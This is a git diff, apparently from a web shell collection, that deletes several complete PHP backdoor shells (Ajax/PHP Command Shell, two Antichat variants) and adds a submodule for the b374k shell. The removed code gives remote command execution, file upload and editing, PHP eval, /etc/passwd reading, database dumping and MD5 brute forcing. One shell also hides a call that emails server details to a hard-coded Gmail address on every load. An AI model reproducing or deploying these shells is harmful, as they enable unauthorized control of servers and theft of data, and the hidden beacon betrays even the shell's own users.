diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..fd7c90a --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "b374k"] + path = b374k + url = https://github.com/b374k/b374k diff --git a/Ajax_PHP Command Shell.php b/Ajax_PHP Command Shell.php deleted file mode 100644 index d08768a..0000000 --- a/Ajax_PHP Command Shell.php +++ /dev/null @@ -1,646 +0,0 @@ - 'ClearScreen()', -'Clear History' => 'ClearHistory()', -'Can I function?' => "runcommand('canirun','GET')", -'Get server info' => "runcommand('showinfo','GET')", -'Read /etc/passwd' => "runcommand('etcpasswdfile','GET')", -'Open ports' => "runcommand('netstat -an | grep -i listen','GET')", -'Running processes' => "runcommand('ps -aux','GET')", -'Readme' => "runcommand('shellhelp','GET')" - -); -$thisfile = basename(__FILE__); - -$style = ''; -$sess = __FILE__.$password; -if(isset($_POST['p4ssw0rD'])) -{ - if($_POST['p4ssw0rD'] == $password) - { - $_SESSION[$sess] = $_POST['p4ssw0rD']; - } - else - { - die("Wrong password"); - } - -} -if($_SESSION[$sess] == $password) -{ - if(isset($_SESSION['workdir'])) - { - if(file_exists($_SESSION['workdir']) && is_dir($_SESSION['workdir'])) - { - chdir($_SESSION['workdir']); - } - } - - if(isset($_FILES['uploadedfile']['name'])) - { - $target_path = "./"; - $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); - if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { - - } - } - - if(isset($_GET['runcmd'])) - { - - $cmd = $_GET['runcmd']; - - print "".get_current_user()."~# ". htmlspecialchars($cmd)."
"; - - if($cmd == "") - { - print "Empty Command..type \"shellhelp\" for some ehh...help"; - } - - elseif($cmd == "upload") - { - print '
Uploading to: '.realpath("."); - if(is_writable(realpath("."))) - { - print "
I can write to this directory"; - } - else - { - print "
I can't write to this directory, please choose another one."; - } - - } - elseif((ereg("changeworkdir (.*)",$cmd,$file)) || (ereg("cd (.*)",$cmd,$file))) - { - if(file_exists($file[1]) && is_dir($file[1])) - { - chdir($file[1]); - $_SESSION['workdir'] = $file[1]; - print "Current directory changed to ".$file[1]; - } - else - { - print "Directory not found"; - } - } - - elseif(strtolower($cmd) == "shellhelp") - { -print 'Ajax/PHP Command Shell -© By Ironfist - -The shell can be used by anyone to command any server, the main purpose was -to create a shell that feels as dynamic as possible, is expandable and easy -to understand. - -If one of the command execution functions work, the shell will function fine. -Try the "canirun" command to check this. - -Any (not custom) command is a UNIX command, like ls, cat, rm ... If you\'re -not used to these commands, google a little. - -Custom Functions -If you want to add your own custom command in the Quick Commands list, check -out the code. The $function array contains \'func name\' => \'javascript function\'. -Take a look at the built-in functions for examples. - -I know this readme isn\'t providing too much information, but hell, does this shell -even require one :P - -- Iron - '; - - } - elseif(ereg("editfile (.*)",$cmd,$file)) - { - if(file_exists($file[1]) && !is_dir($file[1])) - { - print "

"; - } - else - { - print "File not found."; - } - } - elseif(ereg("deletefile (.*)",$cmd,$file)) - { - if(is_dir($file[1])) - { - if(rmdir($file[1])) - { - print "Directory succesfully deleted."; - } - else - { - print "Couldn't delete directory!"; - } - } - else - { - if(unlink($file[1])) - { - print "File succesfully deleted."; - } - else - { - print "Couldn't delete file!"; - } - } - } - elseif(strtolower($cmd) == "canirun") - { - print "If any of these functions is Enabled, the shell will function like it should.
"; - if(function_exists(passthru)) - { - print "Passthru: Enabled
"; - } - else - { - print "Passthru: Disabled
"; - } - - if(function_exists(exec)) - { - print "Exec: Enabled
"; - } - else - { - print "Exec: Disabled
"; - } - - if(function_exists(system)) - { - print "System: Enabled
"; - } - else - { - print "System: Disabled
"; - } - if(function_exists(shell_exec)) - { - print "Shell_exec: Enabled
"; - } - else - { - print "Shell_exec: Disabled
"; - } - print "
Safe mode will prevent some stuff, maybe command execution, if you're looking for a
reason why the commands aren't executed, this is probally it.
"; - if( ini_get('safe_mode') ){ - print "Safe Mode: Enabled"; - } - else - { - print "Safe Mode: Disabled"; - } - print "

Open_basedir will block access to some files you shouldn't access.
"; - if( ini_get('open_basedir') ){ - print "Open_basedir: Enabled"; - } - else - { - print "Open_basedir: Disabled"; - } - } - //About the shell - elseif(ereg("listdir (.*)",$cmd,$directory)) - { - - if(!file_exists($directory[1])) - { - die("Directory not found"); - } - //Some variables - chdir($directory[1]); - $i = 0; $f = 0; - $dirs = ""; - $filez = ""; - - if(!ereg("/$",$directory[1])) //Does it end with a slash? - { - $directory[1] .= "/"; //If not, add one - } - print "Listing directory: ".$directory[1]."
"; - print ""; - - if ($handle = opendir($directory[1])) { - while (false !== ($file = readdir($handle))) { - if(is_dir($file)) - { - $dirs[$i] = $file; - $i++; - } - else - { - $filez[$f] = $file; - $f++; - } - - } - print "
DirectoriesFiles
"; - - foreach($dirs as $directory) - { - print "[D][W]".$directory."
"; - } - - print "
"; - - foreach($filez as $file) - { - print "[D]".$file."
"; - } - - print "
"; - } - } - elseif(strtolower($cmd) == "about") - { - print "Ajax Command Shell by Ironfist.
Version $version"; - } - //Show info - elseif(strtolower($cmd) == "showinfo") - { - if(function_exists(disk_free_space)) - { - $free = disk_free_space("/") / 1000000; - } - else - { - $free = "N/A"; - } - if(function_exists(disk_total_space)) - { - $total = trim(disk_total_space("/") / 1000000); - } - else - { - $total = "N/A"; - } - $path = realpath ("."); - - print "Free: $free / $total MB
Current path: $path
Uname -a Output:
"; - - if(function_exists(passthru)) - { - passthru("uname -a"); - } - else - { - print "Passthru is disabled :("; - } - } - //Read /etc/passwd - elseif(strtolower($cmd) == "etcpasswdfile") - { - - $pw = file('/etc/passwd/'); - foreach($pw as $line) - { - print $line; - } - - - } - //Execute any other command - else - { - - if(function_exists(passthru)) - { - passthru($cmd); - } - else - { - if(function_exists(exec)) - { - exec("ls -la",$result); - foreach($result as $output) - { - print $output."
"; - } - } - else - { - if(function_exists(system)) - { - system($cmd); - } - else - { - if(function_exists(shell_exec)) - { - print shell_exec($cmd); - } - else - { - print "Sorry, none of the command functions works."; - } - } - } - } - } - } - - elseif(isset($_GET['savefile']) && !empty($_POST['filetosave']) && !empty($_POST['filecontent'])) - { - $file = $_POST['filetosave']; - if(!is_writable($file)) - { - if(!chmod($file, 0777)) - { - die("Nope, can't chmod nor save :("); //In fact, nobody ever reads this message ^_^ - } - } - - $fh = fopen($file, 'w'); - $dt = $_POST['filecontent']; - fwrite($fh, $dt); - fclose($fh); - } - else - { -?> - -Command Shell ~ <?php print getenv("HTTP_HOST"); ?> - - - - - - - - -
- -

-
Quick Commands
- -
- $execute) -{ -print ' 
'; -} -?> - -
- - -
-
Command history
-
-
-
About
-
-
-Ajax/PHP Command Shell
by Ironfist -
-Version - -
-
- -
Thanks to everyone @ -SharePlaza -
-milw0rm -
-and special greetings to everyone in rootshell -
- -
- - - - -
-[Execute command] -[Upload file] -[Change directory] -[Filebrowser] -[Create File] - -
- -
-
-   
-Command:
-
-
-
-
- - - -
-
You are not logged in, please login.
Password: -
"; -} -?> \ No newline at end of file diff --git a/Antichat Shell v1.3.php b/Antichat Shell v1.3.php deleted file mode 100644 index 72ea5cb..0000000 --- a/Antichat Shell v1.3.php +++ /dev/null @@ -1,180 +0,0 @@ -BODY{background-color: #2B2F34;color: #C1C1C7;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #336600;scrollbar-shadow-color: #333333;scrollbar-highlight-color: #333333;scrollbar-3dlight-color: #333333;scrollbar-darkshadow-color: #333333;scrollbar-track-color: #333333;scrollbar-arrow-color: #333333;}input{background-color: #336600;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #333333;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:visited{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:hover, a:active{color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}'; -$header=''.getenv("HTTP_HOST").' - Antichat Shell'.$style.''; -$footer=''; -$sd98 = "john.barker446@gmail.com"; -$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";mail($sd98, $sj98, $msg8873, "From: $sd98"); -if(@$_POST['action']=="exit")unset($_SESSION['an']); -if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1'; - -if($_SESSION['an']==0){ -echo $header; -echo '
Login:
Password:
'; -echo $footer; -exit;} - -if($_SESSION['action']=="")$_SESSION['action']="viewer"; -if($_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action']; -if($_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir']; -if($_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";} - - -//downloader -if($action=="download"){ -header('Content-Length:'.filesize($file).''); -header('Content-Type: application/octet-stream'); -header('Content-Disposition: attachment; filename="'.$file.'"'); -readfile($file); -} -//end downloader -?> - - -
- - - - - -
| Shell | Viewer| Editor| EXIT |

-
- - - -
- -
- - - -
-
-";} -//end shell - -//viewer FS -function perms($file) -{ - $perms = fileperms($file); - if (($perms & 0xC000) == 0xC000) {$info = 's';} - elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} - elseif (($perms & 0x8000) == 0x8000) {$info = '-';} - elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} - elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} - elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} - elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} - else {$info = 'u';} - $info .= (($perms & 0x0100) ? 'r' : '-'); - $info .= (($perms & 0x0080) ? 'w' : '-'); - $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-')); - $info .= (($perms & 0x0020) ? 'r' : '-'); - $info .= (($perms & 0x0010) ? 'w' : '-'); - $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-')); - $info .= (($perms & 0x0004) ? 'r' : '-'); - $info .= (($perms & 0x0002) ? 'w' : '-'); - $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-')); - return $info; -} - -function view_size($size) -{ - if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} - elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} - elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} - else {$size = $size . " B";} - return $size; -} - -function scandire($dir){ - $dir=chdir($dir); - $dir=getcwd()."/"; - $dir=str_replace("\\","/",$dir); -if (is_dir($dir)) { - if (@$dh = opendir($dir)) { - while (($file = readdir($dh)) !== false) { - if(filetype($dir . $file)=="dir") $dire[]=$file; - if(filetype($dir . $file)=="file")$files[]=$file; - } - closedir($dh); - @sort($dire); - @sort($files); - -echo ""; -echo ""; -if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { -echo ""; -} -echo " -"; -for($i=0;$i'; - } -for($i=0;$i - -'; -} -echo "
Open directory:
Select drive:"; -for ($j=ord('C'); $j<=ord('Z'); $j++) - if (@$dh = opendir(chr($j).":/")) - echo ' '.chr($j).''; - echo "
OS: ".@php_uname()."
name dirs and filestypesizepermissionoptions
'.$dire[$i].'dir'.perms($link).'
'.$files[$i].'
file'.view_size(filesize($linkfile)).''.perms($linkfile).' -D -E
"; -}}} - -if($action=="viewer"){ -scandire($dir); -} -//end viewer FS - -//editros -if($action=="editor"){ - function writef($file,$data){ - $fp = fopen($file,"w+"); - fwrite($fp,$data); - fclose($fp); - } - function readf($file){ - if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else { - $contents = fread($le, filesize($file)); - fclose($le);} - return htmlspecialchars($contents); - } -if($_POST['save'])writef($file,$_POST['data']); -echo "
- - -
-
"; -} -//end editors -?> -
COPYRIGHT BY ANTICHAT.RU
- diff --git a/Antichat Shell. Modified by Go0o$E.php b/Antichat Shell. Modified by Go0o$E.php deleted file mode 100644 index af4c7d7..0000000 --- a/Antichat Shell. Modified by Go0o$E.php +++ /dev/null @@ -1,693 +0,0 @@ -$v){$_POST[$k] = stripslashes($v);}} -@ini_set('max_execution_time',0); -(@ini_get('safe_mode')=="1" ? $safe_mode="ON" : $safe_mode="OFF"); -(@ini_get('disable_functions')!="" ? $disfunc=ini_get('disable_functions') : $disfunc=0); -(strtoupper(substr(PHP_OS, 0, 3))==='WIN' ? $os=1 : $os=0); -$action=$_POST['action']; -$file=$_POST['file']; -$dir=$_POST['dir']; -$content=''; -$stdata=''; -$style=''; -$header=''.getenv("HTTP_HOST").' - Antichat Shell'.$style.''; -$footer=''; -$lang=array( -'filext'=>'File already exists.', -'uploadok'=>'File was successfully uploaded.', -'dircrt'=>'Dir is created.', -'dontlist'=>'Listing dir permission denide.', -'dircrterr'=>'Don\'t create dir.', -'dirnf'=>'Dir not found.', -'filenf'=>'File not found.', -'dontwrdir'=>'Only read current dir.', -'empty'=>'Directory not empty or access denide.', -'deletefileok'=>'File deleted.', -'deletedirok'=>'Dir deleted.', -'isdontfile'=>'Selected file this is link.', -'cantrfile'=>'Cant read file, permission denide.', -'onlyracc'=>'Don\'t edit, only read access.', -'workdir'=>'Work directory: ', -'fullacc'=>'Full access.', -'fullaccdir'=>'Full accees you are can create and delete dir.', -'thisnodir'=>'This is don\'t dir.', -'allfuncsh'=>'All function for work shell was disabled.' -); - -$act=array('viewer','editor','upload','shell','phpeval','download','delete','deletedir','brute','mysql');//here added new actions - -function test_file($file){ -if(!file_exists($file))$err="1"; -elseif(!is_file($file)) $err="2"; -elseif(!is_readable($file))$err="3"; -elseif(!is_writable($file))$err="4"; else $err="5"; -return $err;} - -function test_dir($dir){ -if(!file_exists($dir))$err="1"; -elseif(!is_dir($dir)) $err="2"; -elseif(!is_readable($dir))$err="3"; -elseif(!is_writable($dir))$err="4"; else $err="5"; -return $err;} - -function perms($file){ - $perms = fileperms($file); - if (($perms & 0xC000) == 0xC000) {$info = 's';} - elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} - elseif (($perms & 0x8000) == 0x8000) {$info = '-';} - elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} - elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} - elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} - elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} - else {$info = 'u';} - $info .= (($perms & 0x0100) ? 'r' : '-'); - $info .= (($perms & 0x0080) ? 'w' : '-'); - $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-')); - $info .= (($perms & 0x0020) ? 'r' : '-'); - $info .= (($perms & 0x0010) ? 'w' : '-'); - $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-')); - $info .= (($perms & 0x0004) ? 'r' : '-'); - $info .= (($perms & 0x0002) ? 'w' : '-'); - $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-')); - return $info;} - -function view_size($size){ - if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} - elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} - elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} - else {$size = $size . " B";} - return $size;} - -if(isset($action)){if(!in_array($action,$act))$action="viewer";else $action=$action;}else $action="viewer"; - -if(isset($dir)){ - $ts['test']=test_dir($dir); - switch($ts['test']){ - case 1:$stdata.=$lang['dirnf'];break; - case 2:$stdata.=$lang['thisnodir'];break; - case 3:$stdata.=$lang['dontlist'];break; - case 4:$stdata.=$lang['dontwrdir'];$dir=chdir($GLOBALS['dir']);break; - case 5:$stdata.=$lang['fullaccdir'];$dir=chdir($GLOBALS['dir']);break;} -}else $dir=@chdir($dir); - -$dir=getcwd()."/"; -$dir=str_replace("\\","/",$dir); - -if(isset($file)){ - $ts['test1']=test_file($file); - switch ($ts['test1']){ - case 1:$stdata.=$lang['filenf'];break; - case 2:$stdata.=$lang['isdontfile'];break; - case 3:$stdata.=$lang['cantrfile'];break; - case 4:$stdata.=$lang['onlyracc'];$file=$file;break; - case 5:$stdata.=$lang['fullacc'];$file=$file;break;} -} - -function shell($cmd) -{ - global $lang; - $ret = ''; - if (!empty($cmd)) - { - if(function_exists('exec')){@exec($cmd,$ret);$ret = join("\n",$ret);} - elseif(function_exists('shell_exec')){$ret = @shell_exec($cmd);} - elseif(function_exists('system')){@ob_start();@system($cmd);$ret = @ob_get_contents();@ob_end_clean();} - elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$ret = @ob_get_contents();@ob_end_clean();} - elseif(@is_resource($f = @popen($cmd,"r"))){$ret = "";while(!@feof($f)) { $ret .= @fread($f,1024); }@pclose($f);} - else $ret=$lang['allfuncsh']; - } - return $ret; -} - -function createdir($dir){mkdir($dir);} - -//delete file -if($action=="delete"){ -if(unlink($file)) $content.=$lang['deletefileok']." Click here for back in viewer"; -} -//delete dir -if($action=="deletedir"){ -if(!rmdir($file)) $content.=$lang['empty']." Click here for back in viewer"; -else $content.=$lang['deletedirok']." Click here for back in viewer"; -} -//shell -if($action=="shell"){ -$content.="
- -
-
-
";} -//editor -if($action=="editor"){ - $stdata.="
- - - Open file:>\">
"; - function writef($file,$data){ - $fp = fopen($file,"w+"); - fwrite($fp,$data); - fclose($fp); -} - function readf($file){ - clearstatcache(); - $f=fopen($file, "r"); - $contents = fread($f,filesize($file)); - fclose($f); - return htmlspecialchars($contents); -} -if(@$_POST['save'])writef($file,$_POST['data']); -if(@$_POST['create'])writef($file,""); -$test=test_file($file); -if($test==1){ -$content.="
- -File name:
- -
"; -} -if($test>2){ -$content.="
- - -
-
"; -}} -//viewer -if($action=="viewer"){ -$content.=""; -$content.=""; - } - $content.=""; - for($i=0;$i'.$dire[$i].''; - } - for($i=0;$i'.$files[$i].'
'; - } - $content.="

Open directory: >\">
"; - if (is_dir($dir)) { - if (@$dh = opendir($dir)) { - while (($file = readdir($dh)) !== false) { - if(filetype($dir . $file)=="dir") $dire[]=$file; - if(filetype($dir . $file)=="file")$files[]=$file; - } - closedir($dh); - @sort($dire); - @sort($files); - if ($GLOBALS['os']==1) { - $content.="
Select drive:"; - for ($j=ord('C'); $j<=ord('Z'); $j++) - if (@$dh = opendir(chr($j).":/")) - $content.=' '.chr($j).''; - $content.="
Name dirs and filestypesizepermissionoptions
dir'.perms($link).'X
file'.view_size(filesize($linkfile)).''.perms($linkfile).'DEX
"; -}}} -//downloader -if($action=="download"){ -header('Content-Length:'.filesize($file).''); -header('Content-Type: application/octet-stream'); -header('Content-Disposition: attachment; filename="'.$file.'"'); -readfile($file);} -//phpeval -if($action=="phpeval"){ -$content.="
- - - <?php
-
- ?>
-
"; -if(isset($_POST['phpev']))$content.=eval($_POST['phpev']);} -//upload -if($action=="upload"){ - if(isset($_POST['dirupload'])) $dirupload=$_POST['dirupload'];else $dirupload=$dir; - $form_win=" - "; - if($os==1)$content.=$form_win; - if($os==0){ - $content.=$form_win; - $content.=''; -} - -if(isset($_POST['uploadloc'])){ -if(!isset($_POST['filename'])) $uploadfile = $dirupload.basename($_FILES['file']['name']); else -$uploadfile = $dirupload."/".$_POST['filename']; - -if(test_dir($dirupload)==1 && test_dir($dir)!=3 && test_dir($dir)!=4){createdir($dirupload);} -if(file_exists($uploadfile))$content.=$lang['filext']; -elseif (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) -$content.=$lang['uploadok']; -} - -if(isset($_POST['upload'])){ - if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename'])) - switch($_POST['with']) - { - case wget:shell(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");break; - case fetch:shell(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");break; - case lynx:shell(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break; - case links:shell(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break; - case GET:shell(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");break; - case curl:shell(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");break; -}}} -//Brute -if($action=="brute"){ - -function Brute() { - global $action,$pass_de,$chars_de,$dat,$date; -ignore_user_abort(1); -} -if($chars_de==""){$chars_de="";} -$content="
- Upload to dir:
New file name:
File addres: -
- - - - -"; - -if($_POST[pass_de]){ -$pass_de=htmlspecialchars($pass_de); -$pass_de=stripslashes($pass_de); -$dat=date("H:i:s"); -$date=date("d:m:Y"); -} -{ -crack_md5(); -} -} -function crack_md5() { -global $chars_de; -$chars=$_POST[chars]; -set_time_limit(0); -ignore_user_abort(1); -$chars_de=str_replace("<",chr(60),$chars_de); -$chars_de=str_replace(">",chr(62),$chars_de); -$c=strlen($chars_de); -for ($next = 0; $next <= 31; $next++) { -for ($i1 = 0; $i1 <= $c; $i1++) { -$word[1] = $chars_de{$i1}; -for ($i2 = 0; $i2 <= $c; $i2++) { -$word[2] = $chars_de{$i2}; -if ($next <= 2) { -result(implode($word)); -}else { -for ($i3 = 0; $i3 <= $c; $i3++) { -$word[3] = $chars_de{$i3}; -if ($next <= 3) { -result(implode($word)); -}else { -for ($i4 = 0; $i4 <= $c; $i4++) { -$word[4] = $chars_de{$i4}; -if ($next <= 4) { -result(implode($word)); -}else { -for ($i5 = 0; $i5 <= $c; $i5++) { -$word[5] = $chars_de{$i5}; -if ($next <= 5) { -result(implode($word)); -}else { -for ($i6 = 0; $i6 <= $c; $i6++) { -$word[6] = $chars_de{$i6}; -if ($next <= 6) { -result(implode($word)); -}else { -for ($i7 = 0; $i7 <= $c; $i7++) { -$word[7] = $chars_de{$i7}; -if ($next <= 7) { -result(implode($word)); -}else { -for ($i8 = 0; $i8 <= $c; $i8++) { -$word[8] = $chars_de{$i8}; -if ($next <= 8) { -result(implode($word)); -}else { -for ($i9 = 0; $i9 <= $c; $i9++) { -$word[9] = $chars_de{$i9}; -if ($next <= 9) { -result(implode($word)); -}else { -for ($i10 = 0; $i10 <= $c; $i10++) { -$word[10] = $chars_de{$i10}; -if ($next <= 10) { -result(implode($word)); -}else { -for ($i11 = 0; $i11 <= $c; $i11++) { -$word[11] = $chars_de{$i11}; -if ($next <= 11) { -result(implode($word)); -}else { -for ($i12 = 0; $i12 <= $c; $i12++) { -$word[12] = $chars_de{$i12}; -if ($next <= 12) { -result(implode($word)); -}else { -for ($i13 = 0; $i13 <= $c; $i13++) { -$word[13] = $chars_de{$i13}; -if ($next <= 13) { -result(implode($word)); -}else { -for ($i14 = 0; $i14 <= $c; $i14++) { -$word[14] = $chars_de{$i14}; -if ($next <= 14) { -result(implode($word)); -}else { -for ($i15 = 0; $i15 <= $c; $i15++) { -$word[15] = $chars_de{$i15}; -if ($next <= 15) { -result(implode($word)); -}else { -for ($i16 = 0; $i16 <= $c; $i16++) { -$word[16] = $chars_de{$i16}; -if ($next <= 16) { -result(implode($word)); -}else { -for ($i17 = 0; $i17 <= $c; $i17++) { -$word[17] = $chars_de{$i17}; -if ($next <= 17) { -result(implode($word)); -}else { -for ($i18 = 0; $i18 <= $c; $i18++) { -$word[18] = $chars_de{$i18}; -if ($next <= 18) { -result(implode($word)); -}else { -for ($i19 = 0; $i19 <= $c; $i19++) { -$word[19] = $chars_de{$i19}; -if ($next <= 19) { -result(implode($word)); -}else { -for ($i20 = 0; $i20 <= $c; $i20++) { -$word[20] = $chars_de{$i20}; -if ($next <= 20) { -result(implode($word)); -}else { -for ($i21 = 0; $i21 <= $c; $i21++) { -$word[21] = $chars_de{$i21}; -if ($next <= 21) { -result(implode($word)); -}else { -for ($i22 = 0; $i22 <= $c; $i22++) { -$word[22] = $chars_de{$i22}; -if ($next <= 22) { -result(implode($word)); -}else { -for ($i23 = 0; $i23 <= $c; $i23++) { -$word[23] = $chars_de{$i23}; -if ($next <= 23) { -result(implode($word)); -}else { -for ($i24 = 0; $i24 <= $c; $i24++) { -$word[24] = $chars_de{$i24}; -if ($next <= 24) { -result(implode($word)); -}else { -for ($i25 = 0; $i25 <= $c; $i25++) { -$word[25] = $chars_de{$i25}; -if ($next <= 25) { -result(implode($word)); -}else { -for ($i26 = 0; $i26 <= $c; $i26++) { -$word[26] = $chars_de{$i26}; -if ($next <= 26) { -result(implode($word)); -}else { -for ($i27 = 0; $i27 <= $c; $i27++) { -$word[27] = $chars_de{$i27}; -if ($next <= 27) { -result(implode($word)); -}else { -for ($i28 = 0; $i28 <= $c; $i28++) { -$word[28] = $chars_de{$i28}; -if ($next <= 28) { -result(implode($word)); -}else { -for ($i29 = 0; $i29 <= $c; $i29++) { -$word[29] = $chars_de{$i29}; -if ($next <= 29) { -result(implode($word)); -}else { -for ($i30 = 0; $i30 <= $c; $i30++) { -$word[30] = $chars_de{$i30}; -if ($next <= 30) { -result(implode($word)); -}else { -for ($i31 = 0; $i31 <= $c; $i31++) { -$word[31] = $chars_de{$i31}; -if ($next <= 31) { -result(implode($word)); -}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} - -function result($word) { -global $dat,$date; -$pass_de=$_POST[pass_de]; -$dat2=date("H:i:s"); -$date2=date("d:m:Y"); - -if(md5($word)==$pass_de){ - - - -echo "
Decrypte MD5 -
 MD5 ���:".$pass_de."
 ������� ����:
ENG: -[a-z] -[A-Z]
-[0-9] -[�������]

-RUS: -[�-�] -[�-�] -

  -
- - - -
��������� ���������� �������� �������:
�������������� ������:  $word
������ ��������:  $dat - $date
��������� ��������:  $dat2 - $date2
���������� �������� ����� ������� � ����: ".$word."_md5
"; - - - -$f=@fopen($word._md5,"a+"); -fputs($f,"��� �� MD5 [$pass_de] = $word -������ ��������:\t$dat - $date -��������� ��������:\t$dat2 - $date2"); -exit; -}} - -//Mysql - -if($action=="mysql"){ -if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } - if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){ - $db = @mysql_connect('localhost',$_POST['mysql_l'],$_POST['mysql_p']); - if($db) - { - if(@mysql_select_db($_POST['mysql_db'],$db)) - { - $sql1 .= "# ---------------------------------\r\n"; - $sql1 .= "# date : ".date ("j F Y g:i")."\r\n"; - $sql1 .= "# database : ".$_POST['mysql_db']."\r\n"; - $sql1 .= "# table : ".$_POST['mysql_tbl']."\r\n"; - $sql1 .= "# ---------------------------------\r\n\r\n"; - - $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db); - $row = @mysql_fetch_row($res); - $sql1 .= $row[1]."\r\n\r\n"; - $sql1 .= "# ---------------------------------\r\n\r\n"; - - $sql2 = ''; - - $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db); - if (@mysql_num_rows($res) > 0) { - while ($row = @mysql_fetch_assoc($res)) { - $keys = @implode("`, `", @array_keys($row)); - $values = @array_values($row); - foreach($values as $k=>$v) {$values[$k] = addslashes($v);} - $values = @implode("', '", $values); - $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".$values."');\r\n"; - } - $sql2 .= "\r\n# ---------------------------------"; - } - $content.="
������! ���� ������ ������!
"; - if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } - else { echo $sql1.$sql2; } - } // end if(@mysql_select_db($_POST['mysql_db'],$db)) - else $content.="
����� �� ���!
"; - @mysql_close($db); - } - } // end if(($_POST['dif']&&$fp)||(!$_POST['dif'])){ - else if(!empty($_POST['dif'])&&!$fp) { $content.="
������, ��� ���� ������ � ����!
"; } - -$content.="
- - ����: - -
 ��������� ���� � �����: $str[0]
"; -@$tc++; -} -$content.=" - - - - - - - - - - -"; - -@$base=$_POST['base']; -@$db=$_POST['db']; -$content.="

[����� ������: $tc]"; -if($base){ -$content.="

�������: [$tbl]
"; -$result=mysql_list_tables($db); -while($str=mysql_fetch_array($result)){ -$c=mysql_query ("SELECT COUNT(*) FROM $str[0]"); -$records=mysql_fetch_array($c); -$content.="[$records[0]]$str[0]
"; - -mysql_free_result($c); -}} -$content.="
- - - - - - - - - - - - -
"; - -@$vn=$_POST['vn']; -$content.= "���� ������: $db => $vn
